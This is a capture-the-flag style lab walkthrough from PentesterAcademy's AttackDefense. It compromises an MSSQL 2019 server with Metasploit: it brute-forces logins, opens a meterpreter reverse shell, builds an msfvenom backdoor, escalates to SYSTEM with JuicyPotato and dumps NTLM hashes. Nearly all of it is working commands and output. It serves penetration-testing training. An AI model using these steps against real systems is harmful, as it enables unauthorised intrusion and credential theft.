
ATTACK
DEFENSE
by PentesterAcademy

Name	MSSQL: Juicy Potato: Privilege Escalation
URL	https://attackdefense.com/challengedetails?cid=2323
Type	Windows Service Exploitation: MSSQL

Important Note: This document illustrates all the important steps required to complete this lab. This is by no means a comprehensive step-by-step solution for this exercise. This is only provided as a reference to various commands needed to complete this exercise and for your further research on this topic. Also, note that the IP addresses and domain names might be different in your lab.

Step 1: Checking the target IP address.

Note: The target IP address is stored in the "**target**" file.

Command: cat /root/Desktop/target

```
root@attackdefense:~# cat /root/Desktop/target
Target IP Address : 10.0.17.87
root@attackdefense:~#
```

Step 2: Run a Nmap scan against the target IP.

Command: nmap 10.0.17.87

```
root@attackdefense:~# nmap 10.0.17.87
Starting Nmap 7.91 ( https://nmap.org ) at 2021-03-08 10:42 IST
Nmap scan report for 10.0.17.87
Host is up (0.061s latency).
Not shown: 987 closed ports
PORT     STATE SERVICE
53/tcp   open  domain
88/tcp   open  kerberos-sec
135/tcp  open  msrpc
139/tcp  open  netbios-ssn
389/tcp  open  ldap
445/tcp  open  microsoft-ds
464/tcp  open  kpasswd5
593/tcp  open  http-rpc-epmap
636/tcp  open  ldapssl
1433/tcp open  ms-sql-s
3268/tcp open  globalcatLDAP
3269/tcp open  globalcatLDAPssl
3389/tcp open  ms-wbt-server

Nmap done: 1 IP address (1 host up) scanned in 5.25 seconds
root@attackdefense:~#
```

Step 3: We have discovered that multiple ports are open. We will be focusing on port 1433 where the MSSQL server is running.

Running ms-sql-info nmap script to discover MSSQL server information.

Command: nmap --script ms-sql-info -p 1433 10.0.17.87

```
root@attackdefense:~# nmap --script ms-sql-info -p 1433 10.0.17.87
Starting Nmap 7.91 ( https://nmap.org ) at 2021-03-08 10:43 IST
Nmap scan report for 10.0.17.87
Host is up (0.058s latency).

PORT     STATE SERVICE
1433/tcp open  ms-sql-s

Host script results:
| ms-sql-info:
|   10.0.17.87:1433:
|     Version:
|       name: Microsoft SQL Server 2019 RTM
|       number: 15.00.2000.00
|       Product: Microsoft SQL Server 2019
|       Service pack level: RTM
|       Post-SP patches applied: false
|_    TCP port: 1433

Nmap done: 1 IP address (1 host up) scanned in 0.93 seconds
root@attackdefense:~#
```

We have found that the target is running "**Microsoft SQL Server 2019**".

Step 4: Running msfconsole

Command: msfconsole -q

```
root@attackdefense:~# msfconsole -q
msf6 >
```

Step 5: Identifying valid MSSQL users and their passwords using provided username and password list using Metasploit module mssql_login

Commands:
use auxiliary/scanner/mssql/mssql_login
set RHOSTS 10.0.17.87
set USER_FILE /root/Desktop/wordlist/common_users.txt

set PASS_FILE /root/Desktop/wordlist/100-common-passwords.txt
set VERBOSE false
exploit

```
root@attackdefense:~# msfconsole -q
msf6 > use auxiliary/scanner/mssql/mssql_login
msf6 auxiliary(scanner/mssql/mssql_login) > set RHOSTS 10.0.17.87
RHOSTS => 10.0.17.87
msf6 auxiliary(scanner/mssql/mssql_login) > set USER_FILE /root/Desktop/wordlist/common_users.txt
USER_FILE => /root/Desktop/wordlist/common_users.txt
msf6 auxiliary(scanner/mssql/mssql_login) > set PASS_FILE /root/Desktop/wordlist/100-common-passwords.txt
PASS_FILE => /root/Desktop/wordlist/100-common-passwords.txt
msf6 auxiliary(scanner/mssql/mssql_login) > set VERBOSE false
VERBOSE => false
msf6 auxiliary(scanner/mssql/mssql_login) > exploit

[*] 10.0.17.87:1433       - 10.0.17.87:1433 - MSSQL - Starting authentication scanner.
[+] 10.0.17.87:1433       - 10.0.17.87:1433 - Login Successful: WORKSTATION\sa:
[+] 10.0.17.87:1433       - 10.0.17.87:1433 - Login Successful: WORKSTATION\dbadmin:anamaria
[+] 10.0.17.87:1433       - 10.0.17.87:1433 - Login Successful: WORKSTATION\auditor:nikita
```

We have discovered two users (dbadmin, auditor) passwords and the **'sa'** user is enabled on the server with <empty> password. So, we can access the sa user directory without entering the password.

By default in Metasploit **sa** user is set to **USERNAME** and **PASSWORD** is empty **''**.

Step 6: Exploit the target machine using the mssql_payload Metasploit module.

Commands:
use exploit/windows/mssql/mssql_payload
set RHOSTS 10.0.17.87
exploit

Note: By default, the module uses sa user with no password hence we don't have to set anything for the authentication.

```
msf6 > use exploit/windows/mssql/mssql_payload
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf6 exploit(windows/mssql/mssql_payload) > set RHOSTS 10.0.17.87
RHOSTS => 10.0.17.87
msf6 exploit(windows/mssql/mssql_payload) > exploit

[*] Started reverse TCP handler on 10.10.15.2:4444
[*] 10.0.17.87:1433 - Command Stager progress -   1.47% done (1499/102246 bytes)
[*] 10.0.17.87:1433 - Command Stager progress -   2.93% done (2998/102246 bytes)
[*] 10.0.17.87:1433 - Command Stager progress -   4.40% done (4497/102246 bytes)
[*] 10.0.17.87:1433 - Command Stager progress -   5.86% done (5996/102246 bytes)
[*] 10.0.17.87:1433 - Command Stager progress -   7.33% done (7495/102246 bytes)
[*] 10.0.17.87:1433 - Command Stager progress -   8.80% done (8994/102246 bytes)
[*] 10.0.17.87:1433 - Command Stager progress -  10.26% done (10493/102246 bytes)
[*] 10.0.17.87:1433 - Command Stager progress -  11.73% done (11992/102246 bytes)
[*] 10.0.17.87:1433 - Command Stager progress -  13.19% done (13491/102246 bytes)
[*] 10.0.17.87:1433 - Command Stager progress -  14.66% done (14990/102246 bytes)
```

```
[*] 10.0.17.87:1433 - Command Stager progress -  90.90% done (92938/102246 bytes)
[*] 10.0.17.87:1433 - Command Stager progress -  92.36% done (94437/102246 bytes)
[*] 10.0.17.87:1433 - Command Stager progress -  93.83% done (95936/102246 bytes)
[*] 10.0.17.87:1433 - Command Stager progress -  95.29% done (97435/102246 bytes)
[*] 10.0.17.87:1433 - Command Stager progress -  96.76% done (98934/102246 bytes)
[*] 10.0.17.87:1433 - Command Stager progress -  98.19% done (100400/102246 bytes)
[*] 10.0.17.87:1433 - Command Stager progress -  99.59% done (101827/102246 bytes)
[*] 10.0.17.87:1433 - Command Stager progress - 100.00% done (102246/102246 bytes)
[*] Sending stage (175174 bytes) to 10.0.17.87
[*] Meterpreter session 1 opened (10.10.15.2:4444 -> 10.0.17.87:58927) at 2021-03-08

meterpreter >
```

Step 7: Check the current running user and running os information.

Command: sysinfo
getuid

```
meterpreter > sysinfo
Computer        : MSSQL-SERVER
OS              : Windows 2016+ (10.0 Build 14393).
Architecture    : x64
System Language : en_US
Domain          : CONTOSO
Logged On Users : 6
Meterpreter     : x86/windows
meterpreter > getuid
Server username: NT Service\MSSQL$SQLEXPRESS
meterpreter >
```

We are running as an NT Service\MSSQL$SQLEXPRESS.

Step 8: Get the first flag.

Commands: shell
cd /
dir
type flag.txt

```
meterpreter > shell
Process 5084 created.
Channel 1 created.
Microsoft Windows [Version 10.0.14393]
(c) 2016 Microsoft Corporation. All rights reserved.

C:\Windows\system32>cd /
cd /

C:\>dir
dir
 Volume in drive C has no label.
 Volume Serial Number is 147C-E1FD

 Directory of C:\

03/25/2021  05:51 AM                32 flag.txt
02/23/2018  11:06 AM    <DIR>          PerfLogs
03/25/2021  05:54 AM    <DIR>          Program Files
03/25/2021  05:54 AM    <DIR>          Program Files (x86)
01/20/2021  07:17 AM    <DIR>          Users
01/20/2021  09:33 AM    <DIR>          Windows
               1 File(s)             32 bytes
               5 Dir(s)  12,950,421,504 bytes free

C:\>type flag.txt
type flag.txt
78598a9b8d36f0112c54356135493fd0
C:\>
```

Flag: 78598a9b8d36f0112c54356135493fd0

Step 9: Checking all the available privileges.

Command:
whoami /priv

```
meterpreter > shell
Process 3788 created.
Channel 6 created.
Microsoft Windows [Version 10.0.14393]
(c) 2016 Microsoft Corporation. All rights reserved.

C:\Windows\System32>whoami /priv
whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                               State
============================= ========================================= ========
SeAssignPrimaryTokenPrivilege Replace a process level token             Disabled
SeIncreaseQuotaPrivilege      Adjust memory quotas for a process        Disabled
SeMachineAccountPrivilege     Add workstations to domain                Disabled
SeChangeNotifyPrivilege       Bypass traverse checking                  Enabled
SeImpersonatePrivilege        Impersonate a client after authentication Enabled
SeCreateGlobalPrivilege       Create global objects                     Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set            Disabled

C:\Windows\System32>
```

We have SeAssignPrimaryToken privilege. If the user has **SeImpersonate** or **SeAssignPrimaryToken** privileges then we can escalate the current privilege to the system.

We are going to use the JuicyPotato.exe executable to escalate the privilege to the NT system.

Juicy-potato:

"A sugared version of RottenPotatoNG, with a bit of juice, i.e. another Local Privilege Escalation tool, from a Windows Service Accounts to NT AUTHORITY\SYSTEM.**"**

Source: https://github.com/ohpe/juicy-potato

Step 10: Generating Metasploit malicious win executable. Open a new terminal window/tab.

Command: ip addr
msfvenom -p windows/meterpreter/reverse_tcp LHOST=**10.10.15.2** LPORT=4444 -f exe > backdoor.exe

```
root@attackdefense:~# ip addr
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
2: ip_vti0@NONE: <NOARP> mtu 1480 qdisc noop state DOWN group default qlen 1000
    link/ipip 0.0.0.0 brd 0.0.0.0
305: eth0@if306: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default
    link/ether 02:42:0a:01:01:03 brd ff:ff:ff:ff:ff:ff link-netnsid 0
    inet 10.1.1.3/24 brd 10.1.1.255 scope global eth0
       valid_lft forever preferred_lft forever
307: eth1@if308: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default
    link/ether 02:42:0a:0a:0f:02 brd ff:ff:ff:ff:ff:ff link-netnsid 0
    inet 10.10.15.2/24 brd 10.10.15.255 scope global eth1
       valid_lft forever preferred_lft forever
root@attackdefense:~# msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.15.2 LPORT=4444 -f exe > backdoor.exe
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Payload size: 354 bytes
Final size of exe file: 73802 bytes
root@attackdefense:~#
```

Step 11: Switch the current directory to the public user's directory on the meterpreter session.

Command: exit (To exit the shell not the meterpreter)
cd C:\\Users\\Public

```
meterpreter > cd C:\\Users\\Public
meterpreter > pwd
C:\Users\Public
meterpreter >
```

Step 12: Upload backdoor.exe and JuicyPotato.exe.

The JuicyPotato.exe potato is located in the "**/root/Desktop/tools/JuicyPotato/**" directory.

Commands: upload /root/backdoor.exe .
upload /root/Desktop/tools/JuicyPotato/JuicyPotato.exe .

```
meterpreter > upload backdoor.exe .
[*] uploading  : /root/backdoor.exe -> .
[*] uploaded   : /root/backdoor.exe -> .\backdoor.exe
meterpreter > upload /root/Desktop/tools/JuicyPotato/JuicyPotato.exe .
[*] uploading  : /root/Desktop/tools/JuicyPotato/JuicyPotato.exe -> .
[*] uploaded   : /root/Desktop/tools/JuicyPotato/JuicyPotato.exe -> .\JuicyPotato.exe
meterpreter > ls
Listing: C:\Users\Public
========================

Mode              Size    Type  Last modified              Name
----              ----    ----  -------------              ----
40555/r-xr-xr-x   0       dir   2016-09-12 17:05:16 +0530  AccountPictures
40555/r-xr-xr-x   0       dir   2016-07-16 18:53:21 +0530  Desktop
40555/r-xr-xr-x   0       dir   2016-07-16 18:53:21 +0530  Documents
40555/r-xr-xr-x   0       dir   2016-07-16 18:53:21 +0530  Downloads
100777/rwxrwxrwx  347648  fil   2021-03-08 10:48:11 +0530  JuicyPotato.exe
40555/r-xr-xr-x   0       dir   2016-07-16 18:53:21 +0530  Libraries
40555/r-xr-xr-x   0       dir   2016-07-16 18:53:21 +0530  Music
40555/r-xr-xr-x   0       dir   2016-07-16 18:53:21 +0530  Pictures
40555/r-xr-xr-x   0       dir   2016-07-16 18:53:21 +0530  Videos
100777/rwxrwxrwx  73802   fil   2021-03-08 10:48:03 +0530  backdoor.exe
100666/rw-rw-rw-  174     fil   2016-07-16 18:53:24 +0530  desktop.ini

meterpreter >
```

Step 13: Open another terminal and run Metasploit multi handler.

Commands:

msfconsole -q
use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 10.10.15.2
set LPORT 4444
exploit

```
root@attackdefense:~# msfconsole -q
msf6 > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set LHOST 10.10.15.2
LHOST => 10.10.15.2
msf6 exploit(multi/handler) > set LPORT 4444
LPORT => 4444
msf6 exploit(multi/handler) > exploit

[*] Started reverse TCP handler on 10.10.15.2:4444
```

We need CLSID in order to escalate the current privilege to the NT system.

CLSID:

“A CLSID is a globally unique identifier that identifies a COM class object.”

Source: https://docs.microsoft.com/en-us/windows/win32/com/clsid-key-hklm

We can find all CLSID for Windows Server 2016:
http://ohpe.it/juicy-potato/CLSID/Windows_Server_2016_Standard/

Step 14: Escalate privilege to the system using JuicyPotato.exe

Command: shell
C:\Users\Public\JuicyPotato.exe -l 4444 -p C:\Users\Public\backdoor.exe -t * -c {4991d34b-80a1-4291-83b6-3328366b9097}

```
C:\Users\Public>C:\Users\Public\JuicyPotato.exe -l 4444 -p C:\Users\Public\backdoor.exe
-t * -c {4991d34b-80a1-4291-83b6-3328366b9097}
C:\Users\Public\JuicyPotato.exe -l 4444 -p C:\Users\Public\backdoor.exe -t * -c {4991d34
b-80a1-4291-83b6-3328366b9097}
Testing {4991d34b-80a1-4291-83b6-3328366b9097} 4444
......
[+] authresult 0
{4991d34b-80a1-4291-83b6-3328366b9097};NT AUTHORITY\SYSTEM

[+] CreateProcessWithTokenW OK

C:\Users\Public>
```

Check the Metasploit multi handler for the new meterpreter session.

```
msf6 > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set LHOST 10.10.15.2
LHOST => 10.10.15.2
msf6 exploit(multi/handler) > set LPORT 4444
LPORT => 4444
msf6 exploit(multi/handler) > exploit

[*] Started reverse TCP handler on 10.10.15.2:4444
[*] Sending stage (175174 bytes) to 10.0.17.87
[*] Meterpreter session 1 opened (10.10.15.2:4444 -> 10.0.17.87:56950) at 2021-03-08 10:49:45 +0530

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter >
```

Step 15: Migrate the current process in the lsass.exe process

Command: migrate -N lsass.exe

```
meterpreter > migrate -N lsass.exe
[*] Migrating from 4108 to 736...
[*] Migration completed successfully.
meterpreter >
```

Step 16: Dump the hashes

Command: hashdump

```
meterpreter > hashdump
Administrator:500:aad3b435b51404eeaad3b435b51404ee:5c4d59391f656d5958dab124ffeabc20:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:2e58b314aaf7595c4c21e62ae64950fc:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
alice:1113:aad3b435b51404eeaad3b435b51404ee:7aa263ff83066e08faafeafa9eecb776:::
bob:1114:aad3b435b51404eeaad3b435b51404ee:7aa263ff83066e08faafeafa9eecb776:::
sysadmin:1115:aad3b435b51404eeaad3b435b51404ee:7aa263ff83066e08faafeafa9eecb776:::
MSSQL-SERVER$:1009:aad3b435b51404eeaad3b435b51404ee:36812ef7a19fdb732fea314c9554de87:::
meterpreter >
```

Administrator NTLM Hash: 5c4d59391f656d5958dab124ffeabc20

References:

1. MSSQL (https://www.microsoft.com/en-in/sql-server/sql-server-2019)
2. Metasploit (https://www.metasploit.com/)
3. Juicy Potato (https://github.com/ohpe/juicy-potato)